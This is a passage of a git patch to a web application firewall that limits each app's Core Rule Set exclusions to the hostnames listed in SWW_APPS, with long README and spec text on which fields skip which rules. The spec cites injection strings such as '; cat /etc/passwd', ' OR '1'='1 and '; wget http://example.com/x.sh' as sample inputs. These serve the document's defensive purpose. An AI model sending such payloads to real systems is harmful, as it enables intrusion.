From bdbd3e6ea9afebf2b22cd431e064b6d2b4f598b8 Mon Sep 17 00:00:00 2001 From: sneak Date: Sat, 7 Nov 2026 12:49:11 +0000 Subject: [PATCH] SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220) Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. Listing forgejo, a fork of gitea, brings gitea's fixes too. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5 --- README.md | 53 +- SPEC.md | 1410 +++++++++++----------- docs/settings.md | 26 + internal/config/waf.go | 97 +- internal/config/waf_test.go | 104 ++ internal/coreruleset/coreruleset.go | 259 ++-- internal/coreruleset/coreruleset_test.go | 175 ++- internal/coreruleset/drupal.conf | 11 +- internal/coreruleset/drupal_test.go | 16 + internal/coreruleset/forgejo.conf | 26 +- internal/coreruleset/forgejo_test.go | 68 +- internal/coreruleset/gitea.conf | 74 +- internal/coreruleset/mastodon.conf | 11 +- internal/coreruleset/mastodon_test.go | 14 + internal/coreruleset/mediawiki.conf | 20 +- internal/coreruleset/mediawiki_test.go | 116 ++ internal/coreruleset/nextcloud.conf | 13 +- internal/coreruleset/nextcloud_test.go | 89 ++ internal/coreruleset/recorded_test.go | 70 +- internal/coreruleset/vaultwarden.conf | 11 +- internal/coreruleset/vaultwarden_test.go | 19 + internal/coreruleset/wordpress.conf | 11 +- internal/waf/coreruleset_test.go | 28 + internal/waf/proxy.go | 4 +- 24 files changed, 1826 insertions(+), 899 deletions(-) diff --git a/README.md b/README.md index c6cc617..1652665 100644 --- a/README.md +++ b/README.md @@ -278,6 +278,7 @@ Every setting the code reads, with its default: | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | +| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | @@ -581,30 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In front of a code forge, bodies carry what people write and publish, which the rules take for attacks. -- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary - requests get through to the apps listed below. No setting undoes the changes; - "Attack detection" in [`SPEC.md`](SPEC.md) lists them. -- These apps work out of the box at the default settings, and their recorded - ordinary requests pass the Core Rule Set: - - gitea: git over HTTP and sign-in through Git Credential Manager get - through. On gitea's own paths, its searches, file names and branch names - do too. - - Forgejo: git over HTTP and its container and package registries get - through. On Forgejo's own paths, its searches, file names and branch names - do too. - - WordPress: saving a post from the block editor gets through. On - WordPress's own paths, its searches, names and file names do too. - - Drupal: on Drupal's own paths, the page to return to, its searches and its - names get through. - - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and - wikitext get through. - - Mastodon: on Mastodon's own paths, its searches, names, email addresses, - posts and deliveries from other servers get through. - - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email - addresses and encrypted file names get through. - - Nextcloud: its sync client gets through. On Nextcloud's own paths, its - WebDAV methods, searches, file names, account names, comments and - documents do too. +- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary + requests to a code forge through, such as git over HTTP and sign-in through + Git Credential Manager. No setting undoes the changes; "Attack detection" in + [`SPEC.md`](SPEC.md) lists them. +- Each supported app also has its own fixes, which let its ordinary requests + through. Its recorded ordinary requests pass the Core Rule Set at the default + settings. The supported apps, by their names in `SWW_APPS`, are: + - `gitea`, whose fixes let its container registry, searches, file names and + branch names through; + - `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own + fixes let through its admin page's search and its searches of a wiki, of + releases, of a job's log and of code at a branch or tag; + - `wordpress`, whose fixes let through its searches, its names, its file + names and a post saved from the block editor; + - `drupal`, whose fixes let through the page to return to, its searches and + its names; + - `mediawiki`, whose fixes let through its searches, its page titles, its + names and its wikitext; + - `mastodon`, whose fixes let through its searches, its names, its email + addresses, its posts and deliveries from other servers; + - `vaultwarden`, whose fixes let through its names, its password hints, its + email addresses and its encrypted file names; + - `nextcloud`, whose fixes let through its sync client, its WebDAV methods, + its searches, its file names, its account names, its comments and its + documents. - A random password, as a password manager makes one, gets through these forms: - signing in, signing up, and changing or resetting a password, on WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea; @@ -612,6 +614,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). - deleting the account, on gitea; - the admin page, on Vaultwarden, whose apps send a hash of the master password, not the password itself. +- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own + apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's + fixes apply to every hostname. - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own fields or paths. - Rule files are plain text, one rule to a line, edited by hand and read again diff --git a/SPEC.md b/SPEC.md index c98afe0..11dede1 100644 --- a/SPEC.md +++ b/SPEC.md @@ -84,8 +84,8 @@ never as a time. of bans is full. - `internal/rules`: reads the rule files at start and again when they change, and tells which rules a request matches. - - `internal/coreruleset`: the Core Rule Set, with the fifteen changes listed - under "Attack detection", as Coraza directives. + - `internal/coreruleset`: the Core Rule Set, with the five changes and the + apps' fixes listed under "Attack detection", as Coraza directives. - `internal/lookup`: looks clients up through GeoJS or in the lookup database. - `internal/reputation`: fetches the lists, asks the DNS blocklists and @@ -681,8 +681,8 @@ files, the limits and the bans still apply to the client that sends it. - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as Coraza directives. An exclusion switches one rule off for some fields or paths only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file - holds an app's own exclusions. The eighth to fifteenth changes below hold - those of the apps they name. + holds exclusions for your own app. The fixes below are for the apps `SWW_APPS` + takes. - `waf` loads the file after `smallwebwaf`'s own setup rules and before the Core Rule Set's rules. The Core Rule Set loads its own `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. @@ -728,24 +728,14 @@ files, the limits and the bans still apply to the client that sends it. scanner from an ordinary client. In front of a code forge, registry and git clients get `404` and `401` by design, hundreds of times a minute. -`smallwebwaf` changes the Core Rule Set 4.25.0 in fifteen ways. Without them, it -would refuse ordinary requests to these apps: - -- gitea; -- Forgejo; -- WordPress; -- Drupal; -- MediaWiki; -- Mastodon; -- Vaultwarden; -- Nextcloud. - -The changes hold in front of every app, and no setting undoes them: +`smallwebwaf` changes the Core Rule Set 4.25.0 in five ways, since in front of +gitea it would otherwise refuse ordinary requests. The changes hold in front of +every app, and no setting undoes them: 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` and `OPTIONS`. APIs, container image pushes and package uploads use them. - Other methods stay refused, except on Nextcloud's WebDAV paths, where the - fourteenth change allows the WebDAV methods Nextcloud uses. + Other methods stay refused, except on Nextcloud's WebDAV paths, where + Nextcloud's fixes allow the WebDAV methods Nextcloud uses. 2. The request header `Expect` is allowed, since curl and git send it before some large uploads. `Content-Encoding` is allowed on a request whose body the Core Rule Set does not read, which by default is every request. git @@ -753,19 +743,69 @@ The changes hold in front of every app, and no setting undoes them: the Core Rule Set does read, the header stays refused, since a compressed body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose - body the fourteenth change leaves unread. The other headers the Core Rule Set + body Nextcloud's fixes leave unread. The other headers the Core Rule Set refuses, such as `Proxy`, stay refused. 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth and tea, which gitea registers for OAuth sign-in, ask to be sent back to `http://127.0.0.1` on the user's own machine. The server never fetches that address. -4. Ten query parameters are not checked against the Core Rule Set's lists of - system files (930120), shell paths (932160) and command names (932260): +4. `Referer` is not checked for a Unix command given without arguments (932340) + or for Java starting a process (944110). `Referer` names the page a request + comes from, on everything that page loads and on every link followed from it. + The Core Rule Set takes some page addresses for attacks: + - a search for `env`; + - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`. + + Every request from such a page would be refused. `Referer` keeps the other + rules, except where gitea's and Forgejo's fixes say otherwise. An app that + passes `Referer` to a shell must check it itself. + +5. Responses are not inspected. A raw file from a repository, such as a shell + script, looks to the response rules like source code leaking from the server. + +Each supported app also has its own fixes, which let its ordinary requests +through. `SWW_APPS` says which hostnames get which app's fixes: + +- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon, + then one or more apps separated by commas, for example + `git.example.com:gitea;blog.example.com:wordpress`. +- The request's `Host` is matched by exact name, without its port and without + regard to case. There are no wildcards. +- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no + hostname. +- Unset, every app's fixes hold for every hostname. An app's fixes then weaken + the check of any other app that serves the same paths or fields. +- Any of these mistakes stops the start: + - an unknown app; + - a hostname that is not a DNS name, such as `*.example.com`; + - a hostname listed twice; + - an app listed twice for one hostname; + - an entry without a colon. + +The supported apps are: + +- `drupal`; +- `forgejo`; +- `gitea`; +- `mastodon`; +- `mediawiki`; +- `nextcloud`; +- `vaultwarden`; +- `wordpress`. + +Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and +one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are: + +1. Ten parameters are not checked against the Core Rule Set's lists of system + files (930120), shell paths (932160) and command names (932260), on any path: - `path`, `files`, `skip-to` and `sub_path`; - `ref`, `sha`, `branch` and `workflow`; - `artifactName` and `redirect_to`. + They skip these rules in the query, and in a form data or multipart body + while `SWW_WAF_BODY_LIMIT` is set. + gitea puts into them file paths, branch and workflow names, and the page to return to after signing in. It reads these values as names in a repository or in its own records, or as a page of its own site, never as a command. Any @@ -773,45 +813,19 @@ The changes hold in front of every app, and no setting undoes them: or `docker-build`. In these parameters, what only these three rules would catch reaches the app, such as the command `|cat /etc/passwd`. Path traversal, SQL and script injection, and PHP, Java and Node.js code are - still refused there. Other parameters keep all three rules. The eighth to - fifteenth changes switch some of them off for some fields on the paths of - the apps they name. An app that uses one of these parameters as a file on - the server, or passes it to a shell, must check the value itself. A rule - file can refuse it instead. + still refused there. Other parameters keep all three rules, except on the + paths named in gitea's third fix and in the other apps' fixes. -5. Three cookies are left out, and `Referer` keeps fewer rules: - - The Core Rule Set reads the request without the `gitea_flash`, `flash` and - `redirect_to` cookies. gitea puts a message naming what was just done into - `gitea_flash`, and Forgejo puts it into `flash`. Both put into - `redirect_to` the page to return to after signing in. The Core Rule Set - takes file names in them, such as `package.json`, for attacks. A browser - sends such a cookie with every request until the app replaces it. The app - cannot replace it while those requests are refused, so one refusal would - keep the browser out of the whole site. gitea and Forgejo show the message - with any script removed and return only to their own pages. Every other - cookie is read in full. An app that reads a cookie of one of these names - must check it itself. - - `Referer` is not checked for a Unix command given without arguments - (932340), for Java starting a process (944110) or for a Java class name - (944130). `Referer` names the page a request comes from, on everything - that page loads and on every link followed from it. The Core Rule Set - takes some page addresses for attacks: - - a search for `env`; - - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`; - - a file named `java.lang.String.md`. - - Every request from such a page would be refused. `Referer` keeps the - other rules, except after some searches of gitea and Forgejo (the eighth - and fifteenth changes). An app that passes `Referer` to a shell must - check it itself. - -6. Responses are not inspected. A raw file from a repository, such as a shell - script, looks to the response rules like source code leaking from the server. -7. The `from` parameter of a container registry's upload path, - `/v2//blobs/uploads/`, is not checked for command names (932260). When - a push reuses a layer, `from` names the image the layer comes from. An image - such as `owner/python3-app` would have that push refused. -8. On gitea's paths, some fields skip the rules that refused ordinary gitea +2. The Core Rule Set reads the request without the `gitea_flash` and + `redirect_to` cookies. gitea puts a message naming what was just done into + `gitea_flash`. It puts into `redirect_to` the page to return to after signing + in. The Core Rule Set takes file names in them, such as `package.json`, for + attacks. A browser sends such a cookie with every request until gitea + replaces it. gitea cannot replace it while those requests are refused, so one + refusal would keep the browser out of the whole site. gitea shows the message + with any script removed and returns only to its own pages. Every other cookie + is read in full. +3. On gitea's paths, some fields skip the rules that refused ordinary gitea requests there. They are the fields where gitea sends a search, a file name or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the request it refused. The fields are: @@ -830,13 +844,12 @@ The changes hold in front of every app, and no setting undoes them: - packages, on its pages and in its API. A user's or an organisation's page has a path of one segment, such as - `/alice`. So on any app, `q` skips these rules on every path of one - segment, such as `/search`. But it skips 932250 only on a path made of - the characters a name may hold: letters, digits, `-`, `_` and dots, the - first a letter or digit. So `ls -la` is refused on - `/login.jsp;jsessionid=abc`. `q` also keeps 932250 on a path that ends - in a server-side script's extension, such as `/index.php`. The - extensions are these, in upper or lower case: + `/alice`. So `q` skips these rules on every path of one segment, such as + `/search`. But it skips 932250 only on a path made of the characters a + name may hold: letters, digits, `-`, `_` and dots, the first a letter or + digit. So `ls -la` is refused on `/login.jsp;jsessionid=abc`. `q` also + keeps 932250 on a path that ends in a server-side script's extension, + such as `/index.php`. The extensions are these, in upper or lower case: - `.php`; - `.phtml`; - `.php5`; @@ -909,162 +922,72 @@ The changes hold in front of every app, and no setting undoes them: `` and `javascript:alert(1)` are still refused. Elsewhere these fields keep every rule. The paths are those of gitea at the - site root. An app other than gitea that serves one of them must check these - fields itself. + site root. -9. On WordPress's paths, some fields skip the rules that refused ordinary - WordPress requests there. `internal/coreruleset/wordpress.conf` lists each - rule and the request it refused. The REST API has four addresses: - - `/wp-json/...` - - `/index.php/wp-json/...` - - `/index.php?rest_route=/...` - - `/?rest_route=/...` +4. `Referer` is not checked for a Java class name (944130), on any path. Every + request from the page of a file named `java.lang.String.md` would be refused. +5. The `from` parameter of a container registry's upload path, + `/v2//blobs/uploads/`, is not checked for command names (932260). When + a push reuses a layer, `from` names the image the layer comes from. An image + such as `owner/python3-app` would have that push refused. - The fields are: - - The header `X-HTTP-Method-Override` on any address of the REST API - (920450). The block editor saves a post with `POST` and names `PUT` in - this header. - - Three groups of fields skip the rules on system files and commands - (930120, 932120, 932250, 932260). The fields hold searches, names and - addresses of WordPress's own pages, and any of them can hold any word. The - groups are: - - On all of `/wp-admin/` and on `/wp-login.php`: - - the searches `s`, `search`, `q` and `term`; - - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` - and `stylesheet`; - - the name of a plugin's settings page in `page`; - - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` - and `_wp_http_referer`. - - On every REST API route under `/wp/v2/` and on the route - `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. - - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and - `tag`. +WordPress's fixes: on WordPress's paths, some fields skip the rules that refused +ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists +each rule and the request it refused. The REST API has four addresses: - The addresses of the first group also skip the rule on Unix commands - (932235), because an address repeats the search it came from. The other - fields of the groups keep that rule. +- `/wp-json/...` +- `/index.php/wp-json/...` +- `/index.php?rest_route=/...` +- `/?rest_route=/...` - - On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists - of PowerShell commands and command names (932120, 932260): - - the name of a template in `p` and `postId` of the site editor; - - the name of a plugin to install in `slug`. +The fields are: - WordPress writes these names as slugs, such as `htaccess` and `ls-la`. +- The header `X-HTTP-Method-Override` on any address of the REST API (920450). + The block editor saves a post with `POST` and names `PUT` in this header. +- Three groups of fields skip the rules on system files and commands (930120, + 932120, 932250, 932260). The fields hold searches, names and addresses of + WordPress's own pages, and any of them can hold any word. The groups are: + - On all of `/wp-admin/` and on `/wp-login.php`: + - the searches `s`, `search`, `q` and `term`; + - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and + `stylesheet`; + - the name of a plugin's settings page in `page`; + - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and + `_wp_http_referer`. + - On every REST API route under `/wp/v2/` and on the route + `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. + - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`. - - `url` on the REST API routes `/wp-block-editor/v1/url-details` and - `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands - (930120, 932120). The block editor's link previews and embeds send an - address in this field. + The addresses of the first group also skip the rule on Unix commands + (932235), because an address repeats the search it came from. The other + fields of the groups keep that rule. - - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given - without arguments (932340). The media list's own address ends in `&ps`. - - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, - for the lists of system files, shell paths, command names and JavaScript - names (930120, 932120, 932160, 932260, 941180). - - These fields of a body. Each applies only when the query has no parameter - of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: - - `content` of a post, a page, a template or a template part saved - through the REST API. It holds HTML and any code it shows. - - `content` of a reply to a comment sent to `admin-ajax.php`. - - `newcontent` of a plugin's or a theme's file saved from its editor, - which is PHP. - - `pwd`, the password when signing in, for each rule that random - passwords set off: +- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of + PowerShell commands and command names (932120, 932260): + - the name of a template in `p` and `postId` of the site editor; + - the name of a plugin to install in `slug`. - 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, - 932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340, - 932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120, - 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, - 942540, 942550, 944150. + WordPress writes these names as slugs, such as `htaccess` and `ls-la`. - `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and - `` sent as the password reach WordPress; - `` and `javascript:alert(1)` are still - refused. +- `url` on the REST API routes `/wp-block-editor/v1/url-details` and + `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands + (930120, 932120). The block editor's link previews and embeds send an address + in this field. - - `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a - password and sign in to a protected post, for the same rules. - - `pass1` and `pass2` on these pages, for the same rules: - - `/wp-admin/profile.php`; - - `/wp-admin/user-edit.php`; - - `/wp-admin/user-new.php`; - - `/wp-admin/network/user-edit.php`, `/wp-admin/network/profile.php` - and `/wp-admin/user/profile.php`, on a multisite install. - - Each of `pass1`, `pass2` and `post_password` skips these rules on - all of these pages and on `/wp-login.php`. - - - `password` in form data or JSON on the REST API's `/wp/v2/users` and - the user under it, for the same rules. - - `title`, `excerpt` and `name` in a JSON body sent to any REST API - route under `/wp/v2/`, for the rules on system files and commands - (930120, 932120, 932250, 932260). - - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for - the lists of PowerShell commands and command names (932120, 932260). - - `url` on `/wp-comments-post.php`, the address of a commenter's site, - for the lists of system files and PowerShell commands (930120, - 932120). - - Elsewhere this change does not apply. The paths are those of WordPress at - the site root. An app other than WordPress that serves one of them must - check these fields itself. - -10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal - requests there. `internal/coreruleset/drupal.conf` lists each rule and the - request it refused. These query fields skip the lists of system files and - command names (930120, 932120, 932250, 932260): - - On every page under `/admin`: `title`, `name`, `user`, `filename`, - `filemime`, `info`, `subject`, `author_name`, `search`, `q` and - `destination`. - - `destination` on the pages Drupal links to with one, such as these: - - `/node/1/edit`; - - `/user/login`; - - `/node/1/revisions/2/revert`; - - `/block/add/basic`; - - `/big_pipe/no-js`. - - `keys` on `/search` and the pages under it. - - `q` on these autocompletes: - - `/entity_reference_autocomplete/`; - - `/ckeditor5/{editor}/entity-link-suggestions`; - - `/block-category/autocomplete`. - - Every `filter[...]` field on `/jsonapi/`. - - `name` on `/user/password`, `/media-library` and `/views/ajax`, in the - query or a body. - - `destination` also skips 932230 and 932235, because it holds the address of - a page of results. `url` on `/media/oembed`, the address of a video, skips - only 930120 and 932120. - - These fields of a body skip the rules that refused them: - - On the node, comment and media forms, for 930120, 932120, 932250 and - 932260: - - the title; - - the summary; - - the tags; - - the address; - - the revision note; - - the comment subject; - - the media name; - - the image text. - - On the tag, custom block and contact forms, for the same four rules: - - the tag's name and description; - - the block description and body; - - the subject and message of a contact message. - - These fields through JSON:API, for the same four rules: - - `title`; - - `subject`; - - `body.summary`; - - `name`; - - `revision_log`; - - `info`; - - `description.value`. - - The title saved through Drupal's JSON format on `/node/{id}`, for the same - four rules. - - The body and comment body on the node and comment forms and through - JSON:API, which hold HTML and any code it shows. - - `name` and `pass` when signing in (930120, 932120, 932250, 932260). - - `pass`, the password when signing in, in form data or JSON, for each rule - that random passwords set off: +- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without + arguments (932340). The media list's own address ends in `&ps`. +- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for + the lists of system files, shell paths, command names and JavaScript names + (930120, 932120, 932160, 932260, 941180). +- These fields of a body. Each applies only when the query has no parameter of + that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: + - `content` of a post, a page, a template or a template part saved through + the REST API. It holds HTML and any code it shows. + - `content` of a reply to a comment sent to `admin-ajax.php`. + - `newcontent` of a plugin's or a theme's file saved from its editor, which + is PHP. + - `pwd`, the password when signing in, for each rule that random passwords + set off: 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, @@ -1072,266 +995,200 @@ The changes hold in front of every app, and no setting undoes them: 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and - `` sent as the password reach Drupal; + `` sent as the password reach WordPress; `` and `javascript:alert(1)` are still refused. - - The other passwords, for the same rules: - - `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`, - `/user//edit` and `/admin/people/create`; - - `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of - `/user/register` and `/user/`; - - `data.attributes.pass.value` and `data.attributes.pass.existing` in - the JSON:API body of `/jsonapi/user/user` and each user under it. + - `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a + password and sign in to a protected post, for the same rules. + - `pass1` and `pass2` on these pages, for the same rules: + - `/wp-admin/profile.php`; + - `/wp-admin/user-edit.php`; + - `/wp-admin/user-new.php`; + - `/wp-admin/network/user-edit.php`, `/wp-admin/network/profile.php` and + `/wp-admin/user/profile.php`, on a multisite install. - Each field listed skips these rules on every path listed, not only on - the paths given for it. + Each of `pass1`, `pass2` and `post_password` skips these rules on all of + these pages and on `/wp-login.php`. - - `name` when resetting a password through Drupal's JSON format on - `/user/password`, for the same four rules. - - `mail` in that same reset, for 932120 and 932260 only. - - `name` when signing up, editing an account and commenting without an - account, for the same four rules. - - `mail` on those forms, for 930120, 932120 and 932260 only. + - `password` in form data or JSON on the REST API's `/wp/v2/users` and the + user under it, for the same rules. + - `title`, `excerpt` and `name` in a JSON body sent to any REST API route + under `/wp/v2/`, for the rules on system files and commands (930120, + 932120, 932250, 932260). + - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the + lists of PowerShell commands and command names (932120, 932260). + - `url` on `/wp-comments-post.php`, the address of a commenter's site, for + the lists of system files and PowerShell commands (930120, 932120). - These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies - when the query has a parameter of the same name. +Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at +the site root. - Elsewhere these fields keep every rule. The paths are those of Drupal at the - site root, with or without a language prefix such as `/fr`. Such a prefix is - any first path segment of two or three lowercase letters, optionally - followed by a hyphen and more letters, so `/api` counts too. An app other - than Drupal that serves one of them must check these fields itself. +Drupal's fixes: on Drupal's paths, some fields skip the rules that refused +ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each +rule and the request it refused. These query fields skip the lists of system +files and command names (930120, 932120, 932250, 932260): -11. On MediaWiki's paths, some fields skip the rules that refused ordinary - MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each - rule and the request it refused. These fields skip the lists of system files - and command names (930120, 932120, 932250, 932260), in the query or the - body: - - On MediaWiki's pages, which are `/index.php` and the paths under - `/index.php/` and `/wiki/`: - - the searches `search` and `ilsearch`; - - the titles `title`, `page` and `target`; - - `from`, `to` and `prefix`, which limit a list of pages; - - the user names `user`, `username` and `wpTarget`; - - the file names `filename` and `wpDestFile`; - - `returnto` and `returntoquery`, the page and query to go back to after - signing in. - - On `/api.php`: - - the searches `search`, `srsearch` and `pssearch`; - - the titles `titles`, `title`, `page` and `bltitle`; - - `from` and `to`, the titles of a page being moved; - - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, - `aiprefix`, `aufrom` and `auprefix`; - - `letitle`, the page whose log is listed; - - `euquery`, an address; - - the fields a generator sends in place of the fields above, each with a - `g` in front: - - `gsrsearch` and `gpssearch`; - - `gapfrom`, `gapto` and `gapprefix`; - - `gaifrom` and `gaiprefix`; - - `gbltitle`; - - `geuquery`; - - the user names `ucuser`, `bkusers` and `user`; - - `summary`, `sectiontitle`, `filename`, `comment` and `reason`; - - `lgname`, `lgpassword`, `username` and `password`, for signing in. - - `q` on `/rest.php/` and the paths under it. +- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`, + `info`, `subject`, `author_name`, `search`, `q` and `destination`. +- `destination` on the pages Drupal links to with one, such as these: + - `/node/1/edit`; + - `/user/login`; + - `/node/1/revisions/2/revert`; + - `/block/add/basic`; + - `/big_pipe/no-js`. +- `keys` on `/search` and the pages under it. +- `q` on these autocompletes: + - `/entity_reference_autocomplete/`; + - `/ckeditor5/{editor}/entity-link-suggestions`; + - `/block-category/autocomplete`. +- Every `filter[...]` field on `/jsonapi/`. +- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query + or a body. - `modules` on `/load.php` skips 930120 alone, because it lists the scripts - and styles a page loads. +`destination` also skips 932230 and 932235, because it holds the address of a +page of results. `url` on `/media/oembed`, the address of a video, skips only +930120 and 932120. - These fields of a body skip the rules that refused them: - - On MediaWiki's pages, for the same four rules: - - `wpSummary`, the summary of an edit; - - `wpUploadDescription`, the description of an uploaded file; - - `wpName` and `wpPassword`, for signing in; - - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. - - `comment` in the JSON body of `/rest.php/`, for the same four rules. - - On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the - admin pages: - - `wpReason-other`, for blocking a user; - - `user-reason`, for changing a user's groups; - - `mwProtect-reason`, for protecting a page. - - On MediaWiki's pages, `wpTitles`, the list of watched pages that - `Special:EditWatchlist/raw` sends, one title per line. It always skips - 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and - 932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title - starting with a command name, such as `Python3 notes`, passes. So does a - command alone on a line, such as `wget http://example.com/x.sh`. A command - such as `; wget http://example.com/x.sh` is still refused. So is a list - that mixes a title holding one of these characters with a title starting - with a command name. - - The wikitext of a page, which holds templates, tables and any code it - shows: - - `wpTextbox1` on MediaWiki's pages; - - `text`, `appendtext` and `prependtext` on `/api.php`; - - `source` in the JSON body of `/rest.php/`. - - The passwords when signing in, signing up and changing a password: - - `wpPassword` on MediaWiki's pages; - - `password` and `retype` in the form that changes a password, which - sends `authAction=change`; - - `retype` in the form that creates an account, which sends - `authAction=create`; - - `retype` in the form that sets a new password at sign-in after a - password reset or once the old one expired, which sends - `authAction=login-continue`; - - `lgpassword`, `password` and `retype` on `/api.php`. +These fields of a body skip the rules that refused them: - They skip each rule that random passwords set off: +- On the node, comment and media forms, for 930120, 932120, 932250 and 932260: + - the title; + - the summary; + - the tags; + - the address; + - the revision note; + - the comment subject; + - the media name; + - the image text. +- On the tag, custom block and contact forms, for the same four rules: + - the tag's name and description; + - the block description and body; + - the subject and message of a contact message. +- These fields through JSON:API, for the same four rules: + - `title`; + - `subject`; + - `body.summary`; + - `name`; + - `revision_log`; + - `info`; + - `description.value`. +- The title saved through Drupal's JSON format on `/node/{id}`, for the same + four rules. +- The body and comment body on the node and comment forms and through JSON:API, + which hold HTML and any code it shows. +- `name` and `pass` when signing in (930120, 932120, 932250, 932260). +- `pass`, the password when signing in, in form data or JSON, for each rule that + random passwords set off: - 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, - 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, - 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, - 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. + 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. - `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and - `` sent as a password reach MediaWiki; - `` and `javascript:alert(1)` are still refused. + `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and + `` sent as the password reach Drupal; + `` and `javascript:alert(1)` are still refused. - Other apps use `password` and `retype` too. So those two fields skip - these rules only when 